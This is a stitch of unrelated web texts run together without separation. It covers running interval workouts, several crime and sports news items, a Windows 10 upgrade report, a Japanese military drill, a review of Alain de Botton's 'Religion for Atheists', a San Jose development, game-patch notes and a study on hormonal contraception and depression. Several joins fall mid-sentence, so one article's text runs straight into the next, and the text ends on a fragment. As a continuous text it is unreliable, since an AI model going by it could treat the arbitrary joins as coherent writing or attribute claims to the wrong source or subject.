The Ladder Run is a popular form of interval workout which climbs up, down, or both up and down in distance with a short (often 90 seconds or a 400 meter jog) rest period in between each interval. It’s a fantastic way to challenge yourself and mix things up, with a variety of high-intensity running paces and distances, all in a single workout.
On a track, increase in distance to the “top” of the ladder, or the longest distance interval, before decreasing back down. If you’re just descending the ladder, increase in speed as you decrease in distance.
Sample Workouts
Up and Down: 400 meters x 2, 800 meters x 2, 1,600 meters, 800 meters x 2, 400 meters x 2, with a 400 meter light jog in between each interval. This is an incredibly tough workout, which tests and builds both your endurance and leg speed. Down: 1,600 meters x 2, 1,200 meters x 2, 800 meters x 2, 400 meters x 2, with a 400 meter light jog in between each interval. As you decrease in distance, you’ll increase in pace.
7. The Fartlek Workout
Ah, the classic Fartlek run. If you’d like to make fun of the name, be sure to pair it with a Jack Daniels joke.
The word fartlek means speed-play in Swedish, and that’s exactly what the workout is. An opportunity to play around with different speeds and distances in a single workout. This was my favorite workout day when I ran cross country in high school, and not just because of the name.
In a sport that requires plenty of structure, the Fartlek run allows your creative juices to flow. The workout is simple as this:
Intermix fast running with slower running, and vary the pace and distance of each interval. It could be as flexible as randomly picking a street corner, tree, car, or lamp post to sprint to, or run at a tempo pace for three minutes, followed by an easy pace for four minutes, and a sprint for one minute, and so on. There are no rules, other than to have variety in your paces and distances.
Sample Workouts
Unstructured: 5-mile run with the final 4 miles consisting of Fartlek intervals. This is probably the most approachable workout here (other than an easy run), since you have the freedom to do as you please. Structured: 1-mile warmup + 3 miles, including four to six 5-minute surges each followed by a 2- to 3-minute period of easy running + 1-mile cooldown. If you need a little more structure to stay on track, this will still allow for flexibly and play, but is defined by set intervals.
8. The Long Run Workout
Your weekly long run is arguably the most important run of the week. It’s your chance to build endurance, and learn how to handle increased mileage both mentally and physically.
But for most people, that’s where it ends. They view long runs as only an opportunity to go long, not fast. I believe strategically planned long runs throughout your training are a great opportunity to work on late race speed, mimic the final push on race day, and toughen your mind to push through the fatigue.
By adding a workout element to you long runs, you’re giving them more structure and added benefit.
Now a few quick rules I recommend:
Don’t run a long run workout every week, but instead begin to integrate them into your training once you’re already comfortable with the distance.
Limit your long run workout pace to below a tempo pace, preferable somewhere around your marathon race pace.
During a long run workout, you’ll either increase from an easy pace to your marathon race pace, or alternate between the two.
Sample Workouts
1-2-3 Workout: After your warmup, run 1 mile at marathon pace followed my 1 mile easy, then 2 miles at marathon pace and 2 miles easy, 3 miles at marathon pace and 3 miles easy. Alternatively you can structure this with kilometers instead of miles. Countdown Long Run Workout: Take the difference between your easy pace and race pace and divide that by the number mileage of your run. Increase your pace or “count down” by that set increment each mile, so that by the end of the run you have steady increased your pace from easy to race pace.
Putting it all Together: What a Sample Training Week Actually Looks Like
Now that you’ve got the workouts down, let’s explore what a sample training week — which includes a number of these workouts — could look like. I say could, because training structure depends entirely on your distance and pace goals, skill level, and where you are with your training.
But let’s assume you’re training for a marathon, and roughly 10 weeks into a 16 week training plan. Here’s what your plan could look like:
Monday: Rest.
Rest. Tuesday: Tempo workout — 70 minute run with 3 x 15 minutes at tempo pace, and an 8 minute recovery in between.
Tempo workout — 70 minute run with 3 x 15 minutes at tempo pace, and an 8 minute recovery in between. Wednesday: Easy workout — 45 minutes at an easy pace.
Easy workout — 45 minutes at an easy pace. Thursday: Track workout — 2 x 1,000 meters with 2 minute rest periods + 2 x 800 meters with 90 second rest periods + 2 x 400 meters on the track with 60 second rest periods.
Track workout — 2 x 1,000 meters with 2 minute rest periods + 2 x 800 meters with 90 second rest periods + 2 x 400 meters on the track with 60 second rest periods. Friday: Rest.
Rest. Saturday: Long run workout — A 17 mile countdown long run.
Long run workout — A 17 mile countdown long run. Sunday: Easy workout — 30-45 minutes at an easy pace.
As you can see, this schedule includes a lot o the variety mentioned above — both in distance, pace, and the types of workouts.
Challenge Yourself With New Workouts
Remember how we said variety was so important earlier?
Now’s your opportunity to take action. It’s easy to get caught up in a monotonous, comfortable rotation of just a few workouts and paces.
Mix it up. Try something new.
The variety just may increase your speed and strength, and reduce your risk of injury.
Which happens to be every runner’s dream come true.
About the Author: Doug is an ultrarunner, coach, and the co-host of NMA Radio. Pick up his free eBook, Why Every Runner Should Be a Trail Runner (And How to Become One).A toddler accidentally shot in the neck by her sibling while sitting inside her father's truck Tuesday is expected to be released from the ICU Wednesday, police say.
Terrell police said the 22-month-old toddler was left in her father's truck along with a 2-year-old sibling and an unsecured, loaded weapon under the truck seat.
The father, 25-year-old Elroy Middleton, told police he worked security at Southwest Christian College and, though he was off-duty at the time, responded to a call for a fallen tree.
Middleton told police he left the children in his truck while he worked, but soon after heard a gunshot coming from the direction of his vehicle. Middleton ran to the truck and found younger daughter had been shot.
The girl was taken by CareFlite to Children's Medical Center in Dallas, where she remained in serious but stable condition. Terrell police said Wednesday afternoon that the child's condition had greatly improved and would likely be moved from the ICU later in the day.
It was initially believed the child had been struck in the neck, but police later said the girl was hit in the upper left shoulder near her clavicle. The bullet entered and exited the child before passing through the truck's door.
Police said the older sibling picked up the weapon and inadvertently fired it, hitting her sister. The child is doing well and is expected to make a full recovery.
During their investigation of the shooting, officers found a 9mm handgun inside the truck. Police told The Dallas Morning News that Middleton is not a state-licensed security officer and does not have a license to carry.
Police have not said if Middleton will face charges, but he could be cited for making a firearm accessible to a child.In October 2015, Microsoft officials outlined a schedule for stepping up the company's push to get Windows 7 and Windows 8.1 users to move to Windows 10.
On February 1, Microsoft started making good on the promised push.
"As we shared in late October on the Windows Blog, we are committed to making it easy for our Windows 7 and Windows 8.1 customers to upgrade to Windows 10. We updated the upgrade experience today to help our customers, who previously reserved their upgrade, schedule a time for their upgrade to take place," said a company spokesperson.
What does that cryptic statement (delivered at 5 pm ET, right in the middle of the Google earnings call, by the way) actually mean?
It means today's the day Windows 10 moves to "recommended" status.
In October, Microsoft execs said the "reservation" phase of upgrading to Windows 10 had ended. That phase of the upgrade push involved users proactively "reserving" their free copies of Windows 10 for download.The next phase of the push was to mark Windows 10 as an "Optional" update in Windows Update for all Windows 7 and 8 customers. After that, Microsoft officials said in early 2016 they'd re-categorize Windows 10 as a "Recommended" update.
Officials did concede that users with automatic updates enabled might see the Windows 10 upgrade automatically initiate on their devices. But they said that users would not be fully moved to Windows 10 unless they proactively chose to do so. And if anyone does move -- intentionally or inadvertently -- to Windows 10 and are unhappy with it, they have 31 days to roll back to their previous Windows versions.
Microsoft is not changing its policy of downloading part of the Windows 10 code proactively to users' machines to make upgrading faster. The company is continuing to do that, in spite of complaints by many. However, unless users make the final decision to hit upgrade, Windows 10 will not completely install and replace their existing Windows versions.
The "recommended" push will be a phased one, the spokesperson said, for Windows 7 and 8.1 consumers who have Automatic Updates turned on. For users who have chosen the "Give me recommended updates the same way I receive important updates" setting turned on, the automatic update process will kick off. (See the screen shot above, courtesy of ZDNet's Ed Bott, to see if you're in that group.)
In case it's not clear, anyone who has disabled automatic upgrades using Group Policy settings or the registry edit outlined here will not have Windows 10 automatically pushed to them.
One more time, for the record: Windows 10 is not a required update for Windows 7 and 8.1 users. It is now recommended. Users who do not want it can just say no.Tokyo’s military on Sunday held a military drill dubbed “Island Defense,” in which the country’s elite airborne troops simulated the retaking of a remote island from an enemy nation.
The plot for the annual drill, which took place at an exercise field east of Tokyo, stayed the same for the second year in a row as the dispute over the group of tiny islets in the East China Sea, claimed by China, Taiwan and Japan, showed no signs of resolution.
Japanese Defense Minister Itsunori Onodera, who was overseeing the drills, vowed to protect the territory around the islands, which Japan considers to be its own.
“We can never overlook China’s repeated entries into our territorial waters. In addition to diplomatic efforts, we will cooperate with the Coast Guard to securely defend our territory and waters around the Senkaku islands,” Onodera said.
The islands, which are known as Diaoyu in China and as Senkaku in Japan, have again found themselves in the middle of regional tension less than two weeks into the New Year. Three Chinese patrol ships briefly entered the disputed waters early Sunday, the first time since controversial fishing rules approved by China’s southern Hainan province took effect January 1.
The fishing rules require foreign fishing vessels to obtain approval before entering the disputed waters in the South China Sea, as the local government maintains they are under its jurisdiction.
Both the boats’ venture and the reminder of the unilaterally imposed fishing law sparked angry official reactions from Japan and its ally the United States.
“Setting something like this unilaterally, as if you are treating them as your own territorial waters, and imposing certain restrictions on fishing boats, is not something that is internationally tolerated,” Onodera said, claiming that China is “threatening the existing international order.”
Washington earlier branded the fishing rules “provocative and potentially dangerous,” prompting |
it helps guard against what he feel is the underlying optimistic cast of contemporary secular society: “A lot of the problems in the world,” he asserts, “can be traced back to a kind of obsessive technological perfectionism. We are living in a very optimistic age; for all the problems, we believe that science and technology and capitalism will crack it. Even though I don’t agree with the grounds for Christian pessimism I find it fascinating when they say life is fundamentally imperfect, not incidentally because you broke your iPhone or there is a war on, but fundamentally because of human nature, there is always a serpent in the garden.” Though those who have suffered at the hands of cane-happy nuns and monstrous monsignors might find this complacent, de Botton is not the first secularist to want to reclaim a pessimistic view of life.
There is a continuing tension in secular thought between the optimistic humanist faith in human creativity, ingenuity and goodness, and the rather grimmer perspective suggested by the rationalist Darwinian idea that we are merely higher animals, children of nature as red in tooth and claw as any other, and do not occupy some kind of blessed niche in a random universe which will undoubtedly outlive us. Here de Botton is quite close to the neo-nihilism of philosophers like John Gray, and reveals his debt to his hero, the gloomy German secular pessimist Schopenhauer. However, as the book reveals, he is more sanguine than either that we can ameliorate our human condition.
Of course De Botton’s attempt to squat religion’s house without taking on the mortgage will outrage believers, who would deny absolutely that religion makes any sense without the belief in God, in fact God himself, at the centre. You can feel this outrage in Terry Eagleton’s splenetic dismissal of Religion for Atheists in the Guardian, where he called it the book “banal”, and de Botton “impudent”. An interesting choice of words, as it suggests that de Botton, like a naughty school boy scrumping apples from the vicarage orchard, wants to have the benefits of religion without making any of the sacrifices. He wants, Eagleton implies, grace on the cheap. He has a point. De Botton’s emphasis throughout is in taking what is useful, good and fun from religion without much emphasis on what requires hard work or sacrifice. His version of religion is all carrot – guilt-free sex, improving art, community – no stick.
In place, for example, of Christianity’s focus on the poor and the needy, and of the responsibility to care for the stranger and the small chance of heavenly reward for the rich (notwithstanding the blithe hypocrisy the Christian churches generally display about these precepts), we get a level of relaxation about riches that would make even Lord Mandelson blush: “Religion is the ultimate advertisement for the unity between worldy and spiritual power. The modern left view is that the guy in the castle is a monster and if I shake his hand or have lunch with him I will be contaminated. But Christianity has the idea that the knight in the castle is not evil, but his soul is lost, and I will knock on his door and get him to contribute to the church to save his soul.”
He expresses admiration for the Jesuits, those soul-stealers of the Vatican, and admits to being fascinated by their ambition to place a priest with every rich and powerful family in Europe, so they could dine with the parents and evangelise their children. At one point he compares his own public profile with that of an old-style academic philosopher who might be able to write a book about the need for more elegant public buildings “but they are not going to meet Stuart Lipton, the chairman of Chelsfield property developers who might be able to make it happen.”
De Botton has every reason to be relaxed about wealth, of course. He is himself a wealthy man (in another of his trigger-happy rebukes to a critic who accused him of bankrolling his writing career with the £200 million left to him by his father, he responded that he had nothing of the sort and, in fact, he was checking his bank account right then and it registered not even £8 million, and much of this had come from book sales). Not that being rich invalidates your arguments, but it might have the tendency to orient your thinking toward issues like how to find a job you love or improving dinner party conversation, or building temples to perspective, which might be considered marginal by people whose own perspective is that they can’t afford dinner and can’t find a job.
This combination of Jesuitical zeal, the 19th-century do-goodery implied by his emphasis on morality and self-improvement, his belief that secularism needs to be institutionalised and scheduled and his pally-ness with money men conjures a vision of a kind of global secular conglomerate – GodlessGloboCorp, a counter-Catholic Church, overseen by a hybrid of Dr Pangloss and Rupert Murdoch. I didn’t just pluck this name out of the air. On 22 January Murdoch sent the following message to his Twitter followers: “Just read Religion for Atheists. Great writing, thoughtful, disturbing. Highly recommend.”
Alain de Botton is not a dislikeable man. He is charming and has good manners. His clothes are clean, as is his apartment (so clean in fact, with no sign of the usual detritus associated with small children – he has two – that it leads you to suspect that it is a spacious office, masquerading as a flat). His book is not dislikeable either. It’s full of good ideas, clearly expressed. Certainly universities and art galleries could do with a shake-up and his emphasis on a hopeful pessimism as a starting point is a useful corrective to techno utopian boosterism. ©John Reynolds
If I were to sum it up I’d say it was a quintessentially humanist book. Many of these ideas are familiar from the ongoing debate within humanism about what can be taken from religious traditions, for example in the work of Richard Norman and Julian Baggini. In this respect, despite the attention-grabbing tower and orgy proposals, there is nothing very new here.
Where he gets it wrong, in my view, is that he both overestimates and underestimates religion. In terms of building community, encouraging contemplation, shared mealtimes and useful hints for living life he concedes too much ground to religion, and overlooks all the ways these things happen every day, in schools and universities, museums and community centres, online and down the pub. He seems to take as read the ancient canard that atheist life lacks meaning, community or joy. Likewise our secular shelves are groaning with “guidance”, only it’s wrapped up in the sugar coating of plot and character and excitement, and disguised as a novel or a film or a book of poetry. For those who like their life lessons complex and find them in art that is rich and ambivalent and disturbing, the literalism of Religion for Atheists will be welcomed with as much enthusiasm as any other self-help manual promising to heal your life, find your soul mate or help you drop two dress sizes.
Where de Botton underestimates religion is in its power as narrative. Religions have almost unlimited resources of drama; the Holy Books are a huge repository of conflict and nastiness – a vengeful, capricious God, hubristic kings, duplicitous apostles, poor, innocent, suffering Job. They’ve got the devil, hell and apocalypse. De Botton thinks these all function as simple lessons, in how to be good and avoid evil, but they are far more subtle and variegated and fascinating than that. The idea of divinity itself, while we may reject it as a fact, is a hugely rich area for exploring what it is to be mortal. Which is to say that the philosophical ideas of religion are powerful – they continue to hold sway over a majority of the world’s population, after all – and we cannot strip them so easily from the material forms in which religion has manifested itself.
Nor should we want to. To try and remake religion with the bad bits taken out is like trying to remake Star Wars with no Darth Vader and Tom Hanks as Emperor Palatine. And, anyway, hasn’t that already been tried by the Church of England? The world of de Botton’s Religion for Atheists is a very polite, ordered, wholesome sort of world but it’s a bloodless book, muesli for the mind. He wants a kind of Health and Safety heathenism that transcends conflict. But religion represents something bigger, darker, with which those of us who are non-believers need to struggle. It’s a dialectic, and a necessary and productive disagreement.
Interestingly, the book makes no mention at all of Islam. De Botton justifies this by saying that it was such a political hot potato that he left it out. “There has been a lot of intolerance from Islam and then a lot of intolerance from people attacking it. I thought the best response was to ignore it.” But to try and reach a grand synthesis of religious form and secular content by ignoring where they clash, surely, is no way to heal the world.
Religion for Atheists by Alain de Botton is published by Hamish Hamilton
Follow @CasparMelville on TwitterAfter a decade-long planning process that weathered neighborhood resistance and the economic recession, local developers recently broke ground on the first phase of a large residential mixed-use project in Midtown San Jose.
Green Republic LLLP, a joint venture between Republic Urban Properties and Swenson Development, held a groundbreaking event Dec. 21 at the 8.25-acre site on the corner of Auzerais Avenue and Sunol Street, where demolition and construction of an underground parking garage began last month.
The property, adjacent to Del Monte Park, was previously owned by the Santa Clara Valley Transportation Authority and served as a bus lot. Green Republic bought 5.25 acres from VTA in 2006, but the $18 million sale wasn’t finalized until 2013. Green Republic later bought the remaining three acres from a private owner for $2 million, giving the project a footprint of about one city block.
When finished, the so-called Silver project will include three buildings varying from four to 11 stories with a total of 800 market-rate housing units–521 rental apartments and the rest possibly condos–and 25,000 square feet of ground-level retail along West San Carlos Street.
Included in the project will be a range of high-end amenities such as game and exercise rooms, swimming pools, dog parks and multiple indoor and outdoor lounge areas, according to Green Republic president Michael Van Every.
In addition, it will have solar power and other energy-saving architectural features, plus 1,040 parking spaces.
No retail tenants are lined up yet, but Van Every said “the best analogy is what’s up the street at Meridian at Midtown”–banks, restaurants and possibly medical offices.
Up until the project was unanimously approved by VTA and city officials in 2010, former District 6 Councilman Ken Yeager and many neighbors opposed it. They said the project was too dense and its buildings too tall for that location, and that it should have more retail space.
But city officials including former planning director Joe Horwedel, who died earlier this year, said those are all good reasons to support the project.
“This was a project that Joe and planning very much supported because of its location and proximity to transit and mostly its density,” Van Every said in an interview. “We created as much density as we could in this location.”
It will take six to eight years to fully build out the estimated $400 million project, Van Every said. The first phase will take “a good 25 months or so, weather permitting,” and won’t be ready for occupancy until about 2019, he added.
“The next phase we believe will start in June or July 2017 and then shortly thereafter, probably 2018, we’ll start phase three,” he added.Jurgen Klopp hugs goalscorer Jordan Henderson after 2-1 victory at Cheslea
Liverpool manager Jurgen Klopp will continue to embrace his Liverpool players as he looks to spread the love at Anfield this season.
The German, so often animated on the touchline, has been known to run onto the pitch to hug all of his players following a victory.
He forgot to shake hands with Chelsea counterpart Antonio Conte as he did just that on Friday following Liverpool's 2-1 win at Stamford Bridge, and Klopp will keep up the routine to show his players just how much he appreciates their efforts.
"I enjoy it more," he said, when asked about the importance of hugging his players.
"I'm really demanding to be honest, and I really want a lot of them. When you can really see how they fight, with the last drop of fuel in their machine... [hugging them is] is the most easy thing to do.
Dejan Lovren is embraced by his manager after 4-3 win at Arsenal
"That's what makes it for them more enjoyable. Now, having something like this in the dressing room and seeing them there all smiling... that's really nice."
Asked if he was feeling the love at Liverpool, Klopp replied: "All good, all good. We are together, and we want to go this way together.
"The more we believe in our way, the more likely it is we can go through whatever it will lead us to. I have no idea, but I think it makes football much more enjoyable when you really feel this togetherness because we are often enough alone. I love this really."
Adam Lallana accidentally broke Klopp's glasses after added-time winner at Norwich last season
An impressive start to the season by Liverpool - including win a 4-3 opening day win at Arsenal and a 1-1 draw with Tottenham - has seen them climb to fifth in the Premier League table.
But Klopp is guarding against complacency, calling on everyone at Liverpool to focus on proving themselves.
"We feel on a good way, but we have to prove it. We have to prove it every day, and that's our job," Klopp added.
"That's how it is... it's deserved, all these points, spectacular football against Arsenal, really good organised against Tottenham and [against Chelsea] was a kind of mixture of these two games. It was good."
Watch Man Utd v Leicester, the Ryder Cup and the EFL Cup as part of our three months' half-price offer.Hello everyone,
one more interview with Evilly video popped up. Here are its contents.
- Strongholds mode was made to create a clan “eco system” for clan players
- CW map is getting reworked to “CW 2.0″, it’s a “redesign” with changed content and architecture, the design will be more flexible in order for WG to make various events on the map quicker
- attack and encounter will appear on CW map
- 9.4 is still planned for October, it will have “Strongholds 1.1″ (SS: oddly enough, 9.4 supertest does not include this)
- in current Stronghold, a shop will appear, where clans will be able to buy special vehicles and camos for SH resources
- this shop will also feature some of the already existing CW reward tanks
- Evilly mentions “clan consumables” (aerial recon, air raid, artillery fire support, mines, bunkers)
- these consumables will be useable in Stronghold mode and under certain conditions also in Clanwars
- in the video (linked above), from 4:55 onwards, you can see the artillery support consumable working (as said before, player will be able to select strength, area, elevation and other stuff), commander will open “tactical pad” and will select a square on which the artillery support will be applied
- there will also be “counter-consumables” and there will be a definite number of how many you can use in battle
- these consumables will NOT be usable in random battles, only in clan modes
- two more patches will come in 2014 (9.4, 9.5)
- 9.4 will be a technical patch and cybersports mode will be changed in it (from 7/42 to 7/54)
- 9.5 will be big and will have a lot of content, it will bring a British TD branch, which will start from medium tanks, tier 6 will be Sherman Firefly
- WG is slowly bringing clan functions (management) into the client
- 9.5 will also bring individual missions system – those are big and complicated missions only the player gets individually, these will last for long time and the rewards are unique
- the first version of individual missions will bring 4 unique reward tanks of tiers 7-10 (SS: now you know what the Object 260, T55A, T28 Concept are for), depending on how much complicated mission you complete is
- the first map with Havok will be Stalingrad, it will not come in 9.4
- client physics will be added in first quarter of 2015 (SS: 9.6)
- new motion physics will bring improved interaction with various surfaces, handbrake etc.
- the tank races do NOT use new motion physics (tanks won’t drift like that)
- developers are working on “mini stronghold” for every player (without clans), with bonuses and consumables, this is only in discussion stage
- developers are considering introducing the SH interface to mobile devices
- developers are currently working on PvE, historical battles will be a PvE mode: a “team of people against bots will fulfill historical scenarios” and they will be ranked by score (how fast they fulfill it for example), there will also be unique historical map
- another mode WG is working on is “PvE survival mode”, they are also working on modes for endgame players with one or more tier 10 tanks
- there will NOT be skill MM, Evilly explains why (basically “if you are skilled, you have the right to pwn”, if you want teams of equally skilled opponents, play team battles or CW), but the developers are looking into some sort of ladder/league system.
- Evilly states that despite some deep analysis attempts (and involvement of “analytical center”, whatever that is), “noone can prove that skill MM would improve the gameplay”. Developers are considering making some sort of “fun” event to test something like that (like previous races or football), but it will definitely not be released just so as random skill MM.
- third CW campaign is planned for the end of this year, the reward for it will be Object 907, or you can pick one of three tanks (907, M60 or VK7201). Third campaign was delayed by the release od Strongholds mode.A twist in the case of a police officer mysteriously shot at his Philadelphia home. Now he's the one facing charges after he was accused of trying to pin the crime on his wife. NBC10's George Spencer has the story. (Published Wednesday, July 15, 2015)
A Philadelphia Police officer is accused of making false reports to the media in order to implicate his wife in his own shooting.
Officer Robert Penn surrendered to Philadelphia Police Tuesday and was charged with criminal solicitation – false reports, criminal conspiracy and obstructing administration of law.
Penn, 48, was shot in the back after returning to his home on Brentwood Road in the Overbook section of the city back on March 2, 2014. Penn, who was off-duty at the time, had just completed his shift.
During their investigation, officials say they discovered Penn told Charles Mays, his ex-wife’s brother, to contact the media and anonymously provide false information implicating Penn’s current wife as being involved in the shooting. Penn's wife is a lieutenant on the police force.
After an investigation an arrest warrant was issued for both Penn and Mays.
Philadelphia Police Commissioner Charles Ramsey suspended Penn for 30 days with the intent to dismiss.
Police still have not determined who actually shot Penn. The investigation continues.
Penn is a 25-year veteran of the Philadelphia Police Department assigned to the 16th District.
In May of 2014, Penn's wife was assaulted outside her home and doused in a flammable liquid. No one has been charged in that incident.Story highlights U2 has decided to delay the release of their upcoming album due to the election of Donald Trump
The band's guitarist said the group had nearly completed their newest album when Trump won
(CNN) The rock band U2 has decided to delay the release of their upcoming album, "Songs of Experience," because of the election of businessman-turned-US President-elect Donald Trump.
In an interview with Rolling Stone, the band's guitarist, David Evans, more commonly known as "The Edge," said the group had nearly completed their newest album when "the election (happened) and suddenly the world changed."
"We just went, 'Hold on a second, we've got to give ourselves a moment to think about this record and about how it relates to what's going on in the world,'" the U2 member said.
"It's like a pendulum has suddenly just taken a huge swing in the other direction."
CNN has reached out to Trump's transition team for comment and have not yet received a response.
Read MoreChicago’s Undefeated Season Capped Off with Championship by Mike "Boomer" Burzawa
Another Receiver Tries out for Bears
Another Receiver Tries out for Bears by Mike "Boomer" Burzawa
With the sad and untimely passing of pitchman Billy Mays, there is a huge void in the informercial universe. Fear not, night owls and couch potatoes! There is one man that can fill the void without missing a beat – Da Coach, Iron Mike Ditka! Ditka has an extensive resume that rivals any possible replacement. Let’s look back at some of Da Coach’s commercials, endorsements and products. Be sure to check out the video clip for Mike’s Kick Ass Red – my favorite of the bunch. In the weird and somewhat disturbing category, check out the Sega Commercial with OJ Simpson.
The Protector – you’ve gotta love this classic spot with Dick Butkus.
Chunky Soup – Coach was way better than Mrs. McNabb could ever hope to be!
Sega Genesis – Check out the graphics on this system! Ditka was good, but OJ killed it!
Scott Halftime Flush – insert your toilet humor here
Levitra – with a nickname like Iron Mike, this was a natural fit.
Diana Pearl – whatever the hell that is.
Coors Light – two for the price of one.
Circuit City – So what if they’re out of business? It wasn’t Da Coach’s fault. I blame Elway!!!
Not to mention his own line of products:
Ditka’s Kick Ass Red – my favorite commercial of the bunch is the most low-budget of the bunch!
Ditka’s Grille Pork Burgers – what’s a party without some of Da Coach’s meat?
Mike Ditka’s Hall of Fame Salsa – when I first saw this, I thought the sombrero had to be photoshopped in.
Upon further review…
I think Da Coach actually donned a poncho and sombrero. He’s committed to the role!
Cigars – If it’s good enough for Da Coach, how could it be banned in restaurants and bars?
Supplements – in case the Levitra, wine and cigars don’t get it done, try these. Puts on new spin on “Performance Enhancement Drugs”
Ditka has come a long way from his humble beginnings in the early days when Papa Bear handed over the keys to the kingdom.
Besides all of the products, he’s got the chain of Ditka’s Restaurants, the Mike Ditka Resorts and countless other hot sauces, cheeses and specialty products. I’m sure if you asked Da Coach, he’d probably take the most pride in his charitable work with Gridiron Greats. I don’t know about you, but I’m buying whatever he’s selling, gang!!!
Da Coach!!!
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• Manager says he was best choice to succeed Ferguson • Poor start to season has led to questions over his future
David Moyes: I am the right man to lead Manchester United
David Moyes is confident Manchester United got it right when they chose him to succeed Sir Alex Ferguson as manager.
United's troubled start to the Premier League campaign led some to suggest the club may look to bring Ferguson back.
The 71-year-old quashed any of that talk during his extended interview in the United States this week, insisting United are in "good hands" with Moyes, who believes that statement will be proved correct.
"Manchester United is a good club," Moyes said. "I am sure they know they picked the right man for the job. Sir Alex was part of that process as well."
Nevertheless, United head to Sunderland on Saturday looking to avoid a third successive Premier League defeat, something they have not experienced since 2001.
It is anticipated Wayne Rooney will have recovered from the shin problem that kept him out of Wednesday's Champions League draw with Shakhtar Donetsk.
However, as United did not return to the UK until Thursday evening, and were not due to train until Friday afternoon, Moyes could offer no injury bulletin.
"I have not seen him yet," the manager said. "I cannot give you an update."A A
RENTON, Wash. - Three people were injured in a chaotic overnight gun battle outside a Renton apartment complex that apparently involved three shooters.
Police and medics swarmed to the scene, the Sunset View Apartments parking lot in the 2100 block of SW Sunset Boulevard, just before 3 a.m. after receiving reports of several shots fired.
Officers found a man who was shot twice in the torso and a woman who had been shot in the neck. Both were rushed to Harborview Medical Center for treatment of non-life-threatening injuries
Some time later another man walked into Harborview with six gunshot wounds. Police determined he had been at the scene of the gun battle and may be one of the shooters. He also is being treated for non-life-threatening injuries.
A preliminary investigation found that the drama began as two men in a white vehicle were driving around looking for the girlfriend of one of the men. She was in another vehicle with two other men.
The white vehicle then pulled up behind the other vehicle, and the two men in the other vehicle got out and approached the white vehicle, pointed guns at the two men in the white vehicle and demanded their valuables.
One of the men in the white vehicle, a 20-year-old Seattle resident, ran from the car and was shot. The other man in the white vehicle pulled out his gun and returned fire. The woman in the other vehicle, a 19-year-old Seattle resident, also suffered gunshot wounds.
The investigation so far has found it highly likely that the man who walked into Harborview with gunshot wounds, a 24-year-old Seattle resident, was one of the two men who got out of the other vehicle at the scene and approached the men in the white car.
The second man in the other vehicle has not yet been identified.
One witness told KOMO News that the whole incident began and ended very quickly.
"It was like 10 rounds a time, and then it would stop, and then start over again and then it would stop and start again," she said.
She says she then heard a car speed off.
As dawn broke, police tape surrounded the scene and the parking lot was littered with multiple shell casings. The investigation continues.
Anyone who witnessed the shootings or has knowledge of the incident is asked to contact Detective Barfield at 425-430-7500 and reference case 14-6545.Over the years, more than a few patients in my women’s health practice have told me that their hormonal birth control — the pill, patch, ring, implant, injection, or IUD — made them feel depressed. And it’s not just my patients: several of my friends have felt the same way. And it’s not just me who has noticed this; decades of reports of mood changes associated with these hormone medications have spurred multiple research studies.
While many of these did not show a definitive association, a recent critical review of this literature revealed that all of it has been of poor quality, relying on iffy methods like self-reporting, recall, and insufficient numbers of subjects. The authors concluded that it was impossible to draw any firm conclusions from the research on this subject.
A strong study on hormonal birth control methods and depression
However, a just-published study finally meets the criteria to qualify as high-quality, and therefore believable. The study of over a million Danish women over age 14, using hard data like diagnosis codes and prescription records, strongly suggests that there is an increased risk of depression associated with all types of hormonal contraception.
The authors took advantage of Denmark’s awesome nationalized information collection systems, including diagnosis and prescribing data. These exist because the country has had a well-run and organized national health system for decades. They have reams of data on every single person in Denmark going back to the 1970s. Additional available information used in this study included education level, body mass index, and smoking habits. All of this was de-identified to protect the individuals involved, so there was no potential violation of privacy.* Surprising connections between hormonal birth control and depression emerged.
This study looked at women aged 15 to 34 between 2000 and 2013, and excluded those with preexisting psychiatric conditions, as well as those who could not be prescribed hormones due to medical issues like blood clots, and those who would be prescribed these medications for other reasons. They also excluded women during pregnancy and for six months after pregnancy, and recent immigrants. This way they wouldn’t accidentally include women with an unrecorded history of any of these conditions.
The researchers analyzed hormonal contraceptive use and subsequent depression in two different ways. They evaluated women who had received a diagnosis of depression as well as women who had received a prescription for antidepressants; these analyses were run separately, and they obtained statistically equivalent results.
Risk of depression with hormonal birth control, small but real
All forms of hormonal contraception were associated with an increased risk of developing depression, with higher risks associated with the progesterone-only forms, including the IUD. This risk was higher in teens ages 15 to 19, and especially for non-oral forms of birth control such as the ring, patch and IUD. That the IUD was particularly associated with depression in all age groups is especially significant, because traditionally, physicians have been taught that the IUD only acts locally and has no effects on the rest of the body. Clearly, this is not accurate.
Should we stop prescribing hormonal birth control? No. It’s important to note that while the risk of depression among women using hormonal forms of birth control was clearly increased, the overall number of women affected was small. Approximately 2.2 out of 100 women who used hormonal birth control developed depression, compared to 1.7 out of 100 who did not. This indicates that only some people will be susceptible to this side effect. Which ones, we don’t know. But I plan to discuss this possibility with every patient when I’m counseling them about birth control, just as I would counsel about increased risk of blood clots and, for certain women, breast cancer. In the end, every medication has potential risks and benefits. As doctors, we need to be aware of these so we can counsel effectively.
*My medical researcher mind is boggled: all this information collected on every single citizen makes quality research studies like this easily possible. We can’t even dream of conducting such an inclusive study like this here in the United States, where yes, all these data are collected, but exist haphazardly scattered across medical offices, hospitals, and insurance companies. Most of a U.S. researcher’s funding and efforts here go into collecting subjects and data. Compared to what the Danish have, what a waste of time!Please enable Javascript to watch this video
NORFOLK, Va. - Bill Dee, a legendary football coach in Hampton Roads, passed away Thursday evening at the age of 63.
Dee, who resigned due to health reasons in January after one season at Oscar Smith High School, spent more than 30 years at the high school level, while also spending time on the coaching staffs of Old Dominion and Christopher Newport University. Dee won four state titles for Phoebus High School during more than two decades as head coach of the Phantoms.
Dee leaves behind a wife (Margaret), son (William) daughter (Katie).
Memorial services for Bill Dee will be held Monday February 27th at 2pm at the First Presbyterian Church in Hampton.
The measure of the man can start with his wins, but a better measurement is of the lives he impacted. RIP Coach Dee pic.twitter.com/tEVGMQoP4O — Oscar Smith Football (@OscarSmithFB) February 24, 2017
A man amongst men. Coach Dee thanks for all you have given me at Phoebus. You'll always be remembered https://t.co/qZyhmzrMx0 — Coach Daniel (@coachjd11) February 24, 2017
Thoughts and prayers go out to Bill Dee's family and friends tonight. — ODU Men's Basketball (@ODUMBB) February 24, 2017
My Thoughts and prayers go out to Bill Dee's family, friends and fan base! I loved that guy so much! #757 #Greatness #RIP 🙏 — Karen Barefoot (@BarefootODU) February 24, 2017Am I busy?
You bet.
I’m a wife, author, blogger, and homeschooling mom to four girls. Yep, you read that right … four girls.
